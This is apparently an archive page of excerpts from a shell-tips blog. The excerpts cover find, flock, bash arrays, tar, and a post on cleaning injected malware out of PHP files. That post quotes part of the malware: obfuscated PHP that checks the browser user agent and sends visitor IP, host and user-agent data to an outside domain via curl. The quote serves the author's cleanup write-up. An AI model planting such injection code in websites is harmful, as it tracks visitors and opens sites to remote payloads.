Get a filename only list of files in a folder

To get a list of all files in a folder without path, you can use the following snippet: $> find ../PATH/TO/FOLDER/TO/LIST/FILES/FROM -type f -printf “%f\n” Example result: 5ed8d879-9203-4c26-afe4-4eee702ffcc7.ttf 25h-icons.woff 6ab1eb08-75f2-4c1a-9911-2752e3fd6ec9.woff ada6576a-cbce-4da0-994b-b4719f95ac06.eot dc80306d-6b3e-422b-85c3-bad65f5446d4.woff 1791f364-9061-4459-a14d-0b188cfd7193.woff2 fb754dec-aa8f-444c-be48-868464c47ab0.woff 20988062-bfc8-4c30-9306-8053b179b381.eot 79de9df8-0826-46b9-beea-eb39122d4762.woff2 087e5c21-3358-4cf3-9d2c-289a03a48292.eot 7869ff0a-c18f-4ce1-bf07-fbf5b7172b66.ttf c932b9cc-bd91-4ee0-889b-302d53093448.woff2 c9fa0fce-5615-4509-af40-370a4032df9a.woff2 08bae5d9-f7bd-4e7f-8446-be05a16cc9e6.ttf 56ce7ab2-c49f-4aa1-85ce-f1823fc02355.woff bedf9150-5659-4119-9640-0f16e67d82b9.woff2 9131f395-46ef-4940-8480-8ff008c42e59.woff 77fac51a-d062-438a-a493-6b67508aa97f.woff bb8422a9-7303-4111-8be4-7de2f583aaf3.woff2 746ffa4d-bd68-4487-bb7a-0c90d07c6533.woff2 5fdc935e-9e30-442a-bbe9-8d887b858471.woff 616c4c87-a077-43f4-a9f4-f01267c13818.ttf 084ad33e-9248-40f7-b5ce-1d9dee2809c4.eot d399cbfa-b9be-47ac-983c-3600c2684bb2.ttf 295ff20c-2b48-4fa6-be92-a53bbf9bbbb4.ttf 25h-icons.ttf 2f8b7d6e-428d-4cc1-a456-712fc6aa2123.woff2 9322b01d-540d-464b-8990-dcbfa6a03ce8.eot […]

Lock shellscript process under Unix based systems

Today I ran again into a common problem when dealing with cron based scipts that run concurrently. That’s why I had to lock shellscript process until it is finished before starting the next executing round. On Unix based systems like Linux you can achieve that with flock. flock binds¬†a file descriptor to a certain lock […]

Find and replace malware code blocks in php files via shell

Today I was attacked by an unknown bot or something like that. It placed the following code in many hundred index.php files on one of my servers, because the FTP-Password was cracked. <?php #19f955# error_reporting(0); ini_set(‘display_errors’,0); $wp_sjqe08340 = @$_SERVER[‘HTTP_USER_AGENT’]; if (( preg_match (‘/Gecko|MSIE/i’, $wp_sjqe08340) && !preg_match (‘/bot/i’, $wp_sjqe08340))){ $wp_sjqe0908340=”http://”.”http”.”href”.”.com/href”.”/?ip=”.$_SERVER[‘REMOTE_ADDR’].”&referer=”.urlencode($_SERVER[‘HTTP_HOST’]).”&ua=”.urlencode($wp_sjqe08340); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_sjqe0908340); […]

Associative arrays (hash, dictionary) on bash

This is how to create¬†associative arrays (hash, dictionary) on bash: #!/bin/bash if [ “$1” == “help” ] then echo “Help”; echo “USAGE:”; echo “========”; echo “purge_landingpage_varnish.sh LIVE|STAGE”; exit 0; elif [ $1 ] then DOMAINS[‘LIVE’]=”www.ask-sheldon.com”; DOMAINS[‘STAGE’]=”stage.ask-sheldon.com; REQUEST_DOMAIN=””; if [ “$1” == “LIVE” -o “$1” == “STAGE” ] then REQUEST_DOMAIN=${DOMAINS[“$1”]}; else echo “You have to give […]

Compress and extract files

With tar On Unix¬†based plattforms you can use the tar command for file compression and also for later uncompression. Compression $> tar -pczf web.tar.gz web/ With -h as the first parameter the real files instead symbolic links are compressed. So you can tar symbolic link targets. To exclude files or folder, you can define¬†–exclude=’fileOFolderPath’ directly […]